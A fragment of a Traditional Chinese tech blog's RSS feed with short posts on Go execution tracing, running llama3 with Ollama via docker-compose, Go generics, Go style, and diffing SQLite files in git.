&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 把快照寫入檔案&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">WriteFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;trace.out&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">b&lt;/span>.&lt;span style="color:#a6e22e">Bytes&lt;/span>(), &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#a6e22e">o755&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Print&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>})
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">ListenAndServe&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;:8080&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="追蹤讀取器-api">追蹤讀取器 API&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// 開始從標準輸入讀取追蹤資料。&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">r&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">trace&lt;/span>.&lt;span style="color:#a6e22e">NewReader&lt;/span>(&lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Stdin&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">blocked&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">blockedOnNetwork&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 讀取事件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ev&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">ReadEvent&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 處理它&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">ev&lt;/span>.&lt;span style="color:#a6e22e">Kind&lt;/span>() &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">trace&lt;/span>.&lt;span style="color:#a6e22e">EventStateTransition&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">st&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">ev&lt;/span>.&lt;span style="color:#a6e22e">StateTransition&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">st&lt;/span>.&lt;span style="color:#a6e22e">Resource&lt;/span>.&lt;span style="color:#a6e22e">Kind&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">trace&lt;/span>.&lt;span style="color:#a6e22e">ResourceGoroutine&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">id&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">st&lt;/span>.&lt;span style="color:#a6e22e">Resource&lt;/span>.&lt;span style="color:#a6e22e">Goroutine&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">from&lt;/span>, &lt;span style="color:#a6e22e">to&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">st&lt;/span>.&lt;span style="color:#a6e22e">GoroutineTransition&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 查找阻塞的 goroutine 並統計&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">from&lt;/span>.&lt;span style="color:#a6e22e">Executing&lt;/span>() &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">to&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">trace&lt;/span>.&lt;span style="color:#a6e22e">GoWaiting&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">blocked&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">strings&lt;/span>.&lt;span style="color:#a6e22e">Contains&lt;/span>(&lt;span style="color:#a6e22e">st&lt;/span>.&lt;span style="color:#a6e22e">Reason&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;network&amp;#34;&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">blockedOnNetwork&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// 印出所需數值&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">p&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">100&lt;/span> &lt;span style="color:#f92672">*&lt;/span> float64(&lt;span style="color:#a6e22e">blockedOnNetwork&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">blocked&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%2.3f%% instances of goroutines blocking were to block on the network\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">p&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Taide - 訓練資料</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240427-taide/</link><pubDate>Sat, 27 Apr 2024 17:10:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240427-taide/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://taide.tw/index/training-data" target="_blank" rel="noopener">Taide - 訓練資料&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Run llama3</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240425-ollama/</link><pubDate>Thu, 25 Apr 2024 10:14:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240425-ollama/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/ollama/ollama" target="_blank" rel="noopener">ollama/ollama&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ivonblog.com/posts/ollama-llm/" target="_blank" rel="noopener">Ollama ＋ Open WebUI，快捷部署 AI 大型語言模型到你的電腦，離線執行&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="docker-compose">Docker-compose&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">version&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;3.8&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">services&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ollama&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">image&lt;/span>: &lt;span style="color:#ae81ff">ollama/ollama:latest&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">container_name&lt;/span>: &lt;span style="color:#ae81ff">ollama&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">restart&lt;/span>: &lt;span style="color:#ae81ff">unless-stopped&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">volumes&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">./ollama/ollama:/root/.ollama&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tty&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ports&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">11434&lt;/span>:&lt;span style="color:#ae81ff">11434&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">networks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">ollama-docker&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># deploy:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># resources:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># reservations:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># devices:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># - driver: nvidia&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># count: 1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># capabilities: [gpu]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ollama-webui&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">image&lt;/span>: &lt;span style="color:#ae81ff">ghcr.io/ollama-webui/ollama-webui:main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">container_name&lt;/span>: &lt;span style="color:#ae81ff">ollama-webui&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">restart&lt;/span>: &lt;span style="color:#ae81ff">unless-stopped&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">volumes&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">./ollama/ollama-webui:/app/backend/data&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ports&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">8080&lt;/span>:&lt;span style="color:#ae81ff">8080&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">environment&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#e6db74">&amp;#34;/ollama/api=http://ollama:11434/api&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">extra_hosts&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">host.docker.internal:host-gateway&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">networks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">ollama-docker&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">networks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ollama-docker&lt;/span>:
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="setup">Setup&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Run docker-compose&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker-compose up -d
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Pull model(https://ollama.com/library)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker exec -it ollama /bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ollama pull llama3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="chat-with-web-ui">Chat with Web-UI&lt;/h3>
&lt;blockquote>
&lt;p>port defined in docker-compose.yml ollama-webui.ports&lt;/p></description></item><item><title>一文讀不懂的 Go 1.21 GA 的 PGO 優化——一次在 WebP Server Go 上的嘗試</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240425-pgo/</link><pubDate>Thu, 25 Apr 2024 09:22:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240425-pgo/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.webp.se/go-121-pgo-zh/" target="_blank" rel="noopener">一文讀不懂的 Go 1.21 GA 的 PGO 優化——一次在 WebP Server Go 上的嘗試&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Go Style Decisions - Pass values</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240413-decisions-pass-values/</link><pubDate>Sat, 13 Apr 2024 17:38:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240413-decisions-pass-values/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://google.github.io/styleguide/go/decisions.html#pass-values" target="_blank" rel="noopener">Go Style Decisions - Pass values&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>不要僅僅為了節省一些位元組而將指標作為函數參數傳遞。如果函數始終將其參數 &lt;code>x&lt;/code> 讀取為 &lt;code>*x&lt;/code>，則該參數不應該是指標。常見的實例包括傳遞指向字串的指標 (&lt;code>*string&lt;/code>) 或指向介面值的指標 (&lt;code>*io.Reader&lt;/code>)。在這兩種情況下，值本身都是固定大小的，可以直接傳遞。&lt;/p>
&lt;p>此建議不適用於大型結構，甚至不適用於可能增加大小的小型結構。特別是，協定緩衝區訊息通常應透過指標而不是值來處理。指標類型滿足 &lt;code>proto.Message&lt;/code> 介面（被 &lt;code>proto.Marshal&lt;/code> 、 &lt;code>protocmp.Transform&lt;/code> 等接受），且協定緩衝區訊息可能非常大，並且通常會隨著時間的推移而變得更大。&lt;/p></description></item><item><title>Go Generics 入門筆記</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240207-go-generic/</link><pubDate>Wed, 07 Feb 2024 19:52:22 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240207-go-generic/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ganhua.wang/go-generic" target="_blank" rel="noopener">Go Generics 入門筆記&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="自訂約束">自訂約束&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// Addable 只允許 int 或 float64 類型&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">Addable&lt;/span> &lt;span style="color:#66d9ef">interface&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">int&lt;/span> | &lt;span style="color:#66d9ef">float64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">Add&lt;/span>[&lt;span style="color:#a6e22e">T&lt;/span> &lt;span style="color:#a6e22e">Addable&lt;/span>](&lt;span style="color:#a6e22e">a&lt;/span>, &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#a6e22e">T&lt;/span>) &lt;span style="color:#a6e22e">T&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">a&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>&lt;em>&lt;code>~&lt;/code> 符號的作用&lt;/em>&lt;/strong>
&lt;code>~&lt;/code> 符號用於表示與指定類型有相同底層類型的所有類型。當你在類型參數的約束中使用 &lt;code>~&lt;/code> 符號時，你指定了一個類型集合，這個集合包含所有底層類型與約束中指定的類型相同的類型。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">MyInt&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">YourInt&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">PrintInt&lt;/span>[&lt;span style="color:#a6e22e">T&lt;/span> ~&lt;span style="color:#66d9ef">int&lt;/span>](&lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#a6e22e">T&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">a&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span> = &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#a6e22e">MyInt&lt;/span> = &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#a6e22e">YourInt&lt;/span> = &lt;span style="color:#ae81ff">15&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">PrintInt&lt;/span>(&lt;span style="color:#a6e22e">a&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">PrintInt&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">PrintInt&lt;/span>(&lt;span style="color:#a6e22e">c&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>在 Git 中追蹤 SQLite 資料庫變更</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240207-tracking_sqlite_database_changes_git/</link><pubDate>Wed, 07 Feb 2024 19:20:15 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240207-tracking_sqlite_database_changes_git/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://lobste.rs/s/gnv9ho/tracking_sqlite_database_changes_git" target="_blank" rel="noopener">在 Git 中追蹤 SQLite 資料庫變更&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://stackoverflow.com/a/21789167" target="_blank" rel="noopener">用於 diff sqlite 資料表的 Git hook&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>首先，在設定中加入名為 &amp;ldquo;sqlite3&amp;rdquo; 的 diff 類型。最簡單的方式是直接執行這些指令：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>git config diff.sqlite3.binary true git config diff.sqlite3.textconv &lt;span style="color:#e6db74">&amp;#34;echo .dump | sqlite3&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>或者，你也可以把這段加入你的 &lt;code>~/.gitconfig&lt;/code> 或專案的 &lt;code>.git/config&lt;/code>：&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-gitconfig" data-lang="gitconfig">[diff &amp;#34;sqlite3&amp;#34;] binary = true textconv = &amp;#34;echo .dump | sqlite3&amp;#34;
&lt;/code>&lt;/pre>&lt;p>接著，若尚未存在 &lt;code>.gitattributes&lt;/code>，就建立它並加入這一行：&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-gitattributes" data-lang="gitattributes">*.sqlite diff=sqlite3
&lt;/code>&lt;/pre>&lt;blockquote>
&lt;p>注意檔名 (&lt;code>*.sqlite&lt;/code>) 可能會因你的設定而不同。以我的情況為例，它應該要匹配 &lt;code>*.gnucash&lt;/code>。&lt;/p>&lt;/blockquote>
&lt;p>大致上就是這樣！下次執行 &lt;code>git diff&lt;/code> 或任何會對 sqlite 檔案產生 diff 的指令時，你會看到格式化良好的變更差異。&lt;/p></description></item><item><title>LLM 視覺化</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240121-llm/</link><pubDate>Sun, 21 Jan 2024 12:40:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240121-llm/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://bbycroft.net/llm" target="_blank" rel="noopener">LLM 視覺化&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/bbycroft/llm-viz" target="_blank" rel="noopener">GitHub&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>在 Kubernetes 上調校 EMQX 以擴展至一百萬並發連線</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240121-scale-emqx-one-million-connections-kubernetes/</link><pubDate>Sun, 21 Jan 2024 12:34:35 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240121-scale-emqx-one-million-connections-kubernetes/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.infracloud.io/blogs/scale-emqx-one-million-connections-kubernetes/" target="_blank" rel="noopener">在 Kubernetes 上調校 EMQX 以擴展至一百萬並發連線&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>llamafile - 以單一檔案分發並執行 LLMs</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240121-llamafile/</link><pubDate>Sun, 21 Jan 2024 09:30:54 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240121-llamafile/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/mozilla-Ocho/llamafile" target="_blank" rel="noopener">llamafile - 以單一檔案分發並執行 LLMs&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://justine.lol/oneliners/" target="_blank" rel="noopener">LLMs 的 Bash 單行指令&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>資料庫基礎</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240101-database-fundementals/</link><pubDate>Mon, 01 Jan 2024 18:46:17 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240101-database-fundementals/</guid><description>&lt;ul>
